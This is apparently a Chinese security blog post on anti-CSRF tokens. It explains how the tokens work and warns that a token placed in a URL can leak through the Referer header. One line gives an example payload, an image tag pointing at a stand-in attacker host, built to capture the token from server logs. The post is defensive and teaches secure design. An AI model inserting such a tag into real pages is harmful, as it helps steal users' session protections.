作者:

防范CSRF攻击的方案有许多种,有用验证码来防的,更多的是生成一个随机的token,当用户提交的时候,在服务器端比对一下token值是否正确,不正确就丢弃掉,正确就验证通过。

(因为有些人喜欢钻牛角尖,所以再次强调下,我们习惯于区分CSRFXSRF,后者是在XSS的情况下,防范CSRF和防范XSS是需要分开的两套防御方案)

由于CSRF的防范原理是比对token,所以需要存在两个token用来比对,其中一个,已经下发到用户的返回页面里去了,而且是用户提交请求时候的一个必须的参数。

另外一个token,一般就存在于服务器的session中;当然这样会造成依赖于session,使得在restful的架构环境下不好在不同服务期间拷贝session,所以,还有一种做法就是将token放到保存了完整session的cookie中。

JJYY了这么多,只是简述了下anti-CSRF token的原理,在实际应用的时候,往往这个token是作为一个hidden字段加在form表单里的,或者是加在某些link里。

姑且不讨论框架实现的问题,这个token最怕的就是泄露,XSS后之所以会让这个方案失效的原因就在于XSS可以读到这个token。

所以我们在布署CSRF token的时候,需要注意的一点,就是在一些页面里,需要慎重的加这个token,因为可能会存在其他途径,导致这个token的泄露

比如,可以想象到的一种获取token的方式,就是利用referer,读出url里包含的token值(假设token已经加在url里了)。

比较简单实现就是在类似站内信的页面里插入一张图片:

<img src="http://www.evil.org/steal-csrf-token-by-referer" />

这样就会在 http://www.evil.org 的webserver里留下一条web日志,其中记录着该请求的referer,如果该地址正好包含了 token,那token就会泄露了。

7c24d72b48639585033bf6e4

所以正确的做法是,将anti-CSRF Token加到form里,尽量减少加到link里的时候,重要操作都用form来完成。特别需要注意的是那些展示页面的url尽量不要加token.